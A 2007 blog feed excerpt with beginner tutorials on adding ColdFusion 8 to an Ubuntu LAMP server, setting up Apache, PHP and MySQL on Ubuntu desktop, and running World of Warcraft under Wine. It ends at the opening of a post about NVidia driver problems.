<p>Once the text editor appears, add the below lines and save:</p>
<pre>&lt;cfset request.greeting = "hello from coldfusion" /&gt;
&lt;cfoutput&gt;#request.greeting#&lt;/cfoutput&gt;</pre>
<p>29. Now navigate to <a href="http://localhost/index2.cfm">http://localhost/index2.cfm</a>. Does Coldfusion greet you? I hope so. It did me. I feel all warm and fuzzy-like.</p>
<p>30. Now lets make sure we can connect to the MySQL service. Go back to the Coldfusion Administrator, click the Data Sources link in the left pane, then in the form on the right add the name of one of your MySQL databases, select MySQL (4/5) as your Driver (assuming thats the version you&#8217;re running. it is if you followed my lamp server tutorial from yesterday)  and click Add.</p>
<p>On the next screen enter the Database name again, set the Server as 127.0.0.1 since MySQL is running on the same machine as Coldfusion, and enter the username and password for your MySQL user account. Click Submit. It should verify the connection for you upon submitting where at the top of the main page you should see:</p>
<pre>* data source updated succesfully.</pre>
<p>31. So now that we&#8217;ve got a data source set up in the Coldfusion Administrator, lets go back and edit our index2.cfm:</p>
<pre>$ gksudo gedit /var/www/index2.cfm</pre>
<p>adding a query and query output to make sure we can connect to MySQL. Please note that the database name, table name, and field names will change according to your own setup.</p>
<pre>&lt;cfquery name="fetch" datasource="testdatabase"&gt;
    SELECT *
    FROM thetable
&lt;/cfquery&gt;</pre>
<pre>&lt;cfoutput query="fetch"&gt;
    &lt;br/&gt;#fetch.fieldname# - #fetch.otherfieldname#
&lt;/cfoutput&gt;</pre>
<p>32. Save your changes, and refresh your browser. You should now see the output of your specific table. If so, congratulations, you are now successfully running Coldfusion 8 with Apache 2, and MySQL 5 on Ubuntu 7.10 desktop edition. Think of all the fun acronyms you can refer to your machine as now: CAMU, CAML, MACL, the list goes on.</p>
<p>Extra credit: If you&#8217;re tuning in after following my <a href="http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/">LAMP server tutorial</a> from yesterday, you may want to navigate back to <a href="http://localhost/">http://localhost/</a> and notice that the index.php file we created yesterday still echoes &#8220;hello there&#8221; indicating that PHP is still parsing as it should. The Coldfusion installation and Apache configuration did not break PHP. They are both sharing Apache and running out of the same directory. This is exactly what I wanted as like I said, this is a development machine, wherein I will be writing various things in either PHP or Coldfusion. Maybe both? (Maybe not). The other benefit for Coldfusion of simultaneously running a PHP setup on the same server is that you can use the phpMyAdmin to administer your MySQL needs. And also, there&#8217;s one more letter to slap onto your Acronym. I think I&#8217;m going to call this setup a CLAMP server. Yes, CLAMP it is. Shiny. Good luck to all and I hope this tutorial helps someone.</p>
<p>Credits and references (thanks again to the authors):</p>
<p><a href="http://alan.daveline.com/blog/?p=56">CF8 on Ubuntu Feisty Fawn</a><br />
<a href="http://www.compoundtheory.com/?action=displayPost&#038;ID=233">CFMX7 on Ubuntu Feisty Fawn</a><br />
<a href="http://wulfshayde.blogspot.com/2006/11/ubuntu-610edgy-eft-apache2-php5-mysql.html">CFMX7.02 on Ubuntu Edgy Eft</a></p>
<p> <a href="http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/#more-14" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Tutorial%3A&amp;Description=Tutorial%3A&amp;Url=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/&amp;title=Tutorial%3A" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/&amp;title=Tutorial%3A" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Tutorial%3A&amp;u=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/&amp;title=Tutorial%3A&amp;description=Tutorial%3A" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/&amp;h=Tutorial%3A" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/&amp;title=Tutorial%3A" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/&amp;title=Tutorial%3A" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/11/29/tutorial-adding-coldfusion-8-to-your-ubuntu-lamp-server/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial:</title>
		<link>http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/</link>
		<comments>http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 09:33:55 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/</guid>
		<description><![CDATA[Toward the end of pursuing various personal projects I decided to set up a LAMP server on my second machine here at home, but wanted to maintain the desktop aspects of what I currently have with Ubuntu desktop so I decided to run the LAMP setup on a clean Ubuntu desktop. I&#8217;m aware that I [...]]]></description>
			<content:encoded><![CDATA[<p>Toward the end of pursuing various personal projects I decided to set up a LAMP server on my second machine here at home, but wanted to maintain the desktop aspects of what I currently have with Ubuntu desktop so I decided to run the LAMP setup on a clean Ubuntu desktop. I&#8217;m aware that I could have went the server route with the LAMP configuration, and then installed the desktop on top of it with:</p>
<pre>$ sudo apt-get install ubuntu-desktop</pre>
<p>but I decided for now to run similar setups on both machines. So below are my notes for installing the LAMP server on Ubuntu desktop (these notes are as much for my later use as they are for anyone who trips over them whilst running through the interwebs). Overall, its fairly straightforward, and there really aren&#8217;t that many steps involved. The community has made this pretty painless IMO. These notes assume that Ubuntu desktop is already installed. An excellent walkthrough for this process can be found <a href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=show">here</a>, and mostly what&#8217;s below are my adjustments to that excellent walkthrough.</p>
<p>1. Install the LAMP server package using tasksel.</p>
<pre>$ sudo tasksel install lamp-server</pre>
<p>This tasksel package will install apache2, php5, and mysql5, along with various dependencies and libraries.</p>
<p>2. Set your mysql password when prompted in the terminal. You&#8217;ll need it later.</p>
<p>3. Visit <a href="http://localhost">http://localhost</a>. If Apache is up in your browser, you&#8217;ll see a directory listing.</p>
<p>4. Make sure PHP is up and parsing by placing a test index.php file in the /var/www/ directory. You&#8217;ll need sudo for this as it requires root privileges to edit files in this directory. You can do this with any text editor. I chose gedit.</p>
<pre>$ gksudo gedit /var/www/index.php</pre>
<p>Once open, enter this PHP line and save:</p>
<pre>&lt;? echo 'hello there'; ?&gt;</pre>
<p>5. Now refresh your browser. If your test page greets you heartily, PHP is up and parsing.</p>
<p>6. On the other hand, if firefox prompts you to download the file cuz it doesn&#8217;t know what to do with &#8220;PHTML&#8221;, make sure the php5 service is enabled with:</p>
<pre>$ sudo a2enmod php5</pre>
<p>7. If the message returned indicates php5 is already enabled, try just restarting the service:</p>
<pre>$ sudo /etc/init.d/apache2 restart</pre>
<p>Thats what it took for me. My guess is the alteration of a previously installed service by the subsequent installation of the other items in the same lamp-server package.</p>
<p>8. If you then get the error, &#8220;Restarting web server apache2. apache2: Could not reliably determine the server&#8217;s fully qualified domain name, using 127.0.1.1 for ServerName&#8221; like I did, you&#8217;ll need to edit the httpd.conf file:</p>
<pre>$ gksudo gedit /etc/apache2/httpd.conf</pre>
<p>Add this line and save:</p>
<pre>ServerName localhost</pre>
<p>9. Once that&#8217;s done, refresh your browser again. If you&#8217;re like me, the test page performed as intended. So you now know that Apache and PHP are running, but what about MySQL?</p>
<p>10. Try logging in via the terminal and enter that password you created earlier when prompted. If you can login, then MySQL is running:</p>
<pre>$ mysql -u root -p</pre>
<p>11. If you prefer a web-based interface for your MySQL needs, phpMyAdmin is an excellent way to go. Its not installed with the other packages via the tasksel lamp-server command, but as usual, installing the application is as easy as command line:</p>
<pre>$ sudo apt-get install phpmyadmin</pre>
<p>you&#8217;ll be prompted to allow phpMyAdmin to automatically configure various instances of Apache for PHP use. If you&#8217;re following this walkthrough, you&#8217;ll want to select the apache2 web service.</p>
<p>12. once the installation is complete, go log in using your mysql login information at <a href="http://localhost/phpmyadmin">http://localhost/phpmyadmin</a>.</p>
<p>13. But if you&#8217;re new at this like I am, you may want to verify that PHP can connect to your MySQL instance before you sit down and start writing code, so open up the same index.php file from earlier, add and save this code:</p>
<pre>&lt;?php
$hostname = 'localhost';
$username = 'root';
$password = 'yourMySQLpassword';
$conn = mysql_connect($hostname,$username,$password) or die ('could not connect to mysql.');
echo 'OK';
?&gt;</pre>
<p>14. Now refresh your browser. If you see the OK, then PHP has no problem connecting to your MySQL.</p>
<p>So hopefully you&#8217;re now up and running with your own LAMP server on Ubuntu desktop 7.10. If you&#8217;re not up and running, the best place I&#8217;ve found for help with anything Ubuntu related is <a href="http://ubuntuforums.org/">http://ubuntuforums.org/</a>.Good luck.</p>
<p> <a href="http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/#more-13" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Tutorial%3A&amp;Description=Tutorial%3A&amp;Url=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/&amp;title=Tutorial%3A" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/&amp;title=Tutorial%3A" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Tutorial%3A&amp;u=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/&amp;title=Tutorial%3A&amp;description=Tutorial%3A" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/&amp;h=Tutorial%3A" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/&amp;title=Tutorial%3A" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/&amp;title=Tutorial%3A" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/11/28/lamp-server-on-ubuntu-desktop/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial:</title>
		<link>http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/</link>
		<comments>http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/#comments</comments>
		<pubDate>Sun, 25 Nov 2007 09:04:02 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/</guid>
		<description><![CDATA[So I&#8217;m sure that for many of us dual-booting converts stepping into the Linux world, one of the most common obstacles keeping us handcuffed to Windows is World of Warcraft. Well not anymore for me, thank you very much.
I went through many tutorials on how to configure WoW for Ubuntu, but I found the below [...]]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;m sure that for many of us dual-booting converts stepping into the Linux world, one of the most common obstacles keeping us handcuffed to Windows is World of Warcraft. Well not anymore for me, thank you very much.</p>
<p>I went through many tutorials on how to configure WoW for Ubuntu, but I found the below link to be by far the most helpful AND up-to-date:</p>
<p><a href="https://help.ubuntu.com/community/WorldofWarcraft">https://help.ubuntu.com/community/WorldofWarcraft</a></p>
<p>In truth, I did part of this the easy way. Once I had installed wine and configured it, instead of installing each of the disks (WoW + Burning Crusade) from Ubuntu, I just dragged the 10GB installation folder from the Vista side to Wine&#8217;s pseudo C drive \ Program Files directory, which by default is located here:</p>
<pre>/home/&lt;yourusername&gt;/.wine/drive_c/Program Files/</pre>
<p>So that&#8217;s much less hassle, and I highly recommend it if at all possible. The other excellent bonus of this method is that I didn&#8217;t have to reinstall or mess with any of my addons, of which I have several.</p>
<p>So once all the files were copied over, I followed the instructions from the link above and added this to my Program Files/World of Warcraft/WTF/config.wtf file:</p>
<pre>
SET gxApi "opengl"

SET ffxDeath "0"

SET ffxGlow "0"

SET SoundOutputSystem "1"

SET SoundBufferSize "150"</pre>
<p>And if you want to run WoW in windowed mode, add this as well:</p>
<pre>SET gxWindow "1"</pre>
<p>I also created the shortcut indicated, and added that to my panel, complete with WoW SVG icon. Nice touch by the editors of ubuntu.com. So now I&#8217;m finally up and running with WoW in Ubuntu. One less thing tying me to Windows.</p>
<p>Note: Technically, I had tried this all once before, and it was <em>kind of</em> working, but it was with a lower end graphics card, and though I could log into the game, once in Azeroth, the ground was black everywhere I went, and lighting was all funky whenever I went in doors. Oh, and the text looked like Sanskrit. I probably should have taken a screenshot. So if you call that &#8220;working&#8221;, then this is old hat. Otherwise, its finally up. May my blades never dull.</p>
<p> <a href="http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/#more-12" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Tutorial%3A&amp;Description=Tutorial%3A&amp;Url=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/&amp;title=Tutorial%3A" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/&amp;title=Tutorial%3A" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Tutorial%3A&amp;u=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/&amp;title=Tutorial%3A&amp;description=Tutorial%3A" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/&amp;h=Tutorial%3A" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/&amp;title=Tutorial%3A" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/&amp;title=Tutorial%3A" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2007/11/25/ubuntu-world-of-warcraft-with-wine/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ubuntu:</title>
		<link>http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/</link>
		<comments>http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/#comments</comments>
		<pubDate>Sun, 25 Nov 2007 08:01:05 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Compiz]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/11/25/ubuntu-nvidia-driver-problems/</guid>
		<description><![CDATA[So on Black Friday, I picked up a new graphics cards since my previous didn&#8217;t fit in my new machine. The one I got was the NVidia GeForce 6200 LE ($50 with a $50 mail-in rebate = free graphics card. sweet). I went with this one as opposed to an ATI card since the majority [...]]]></description>
			<content:encoded><![CDATA[<p>So on Black Friday, I picked up a new graphics cards since my previous didn&#8217;t fit in my new machine. The one I got was the NVidia GeForce 6200 LE ($50 with a $50 mail-in rebate = free graphics card. sweet). I went with this one as opposed to an ATI card since the majority of information I found online indicates that overall Linux support for NVidia is good, while support for ATI kind of sux0rz. To be fair, as I understand it, the reason for the lack of consistent ATI support is on the part of the ATI development team, not on the Linux community side (newbie disclaimer). So anyway, I installed the card and booted straight into Ubuntu (I&#8217;ll install the Vista drivers later. Maybe). Though instead of the GUI, I boot into the command line telling me very sexily:</p>
<pre>
(EE) no devices detected.
fatal server error:
no screens found</pre>
<p>which of course is awesome like command-line sudoku. And even though I realize its telling me &#8216;No screens found&#8217; because it can&#8217;t find the device listed in my xorg.conf file, I still find it humorous that its giving me this error message on one of the screens it can&#8217;t find lol. Well I tried a few things, but in the end, the below steps are what worked for me.</p>
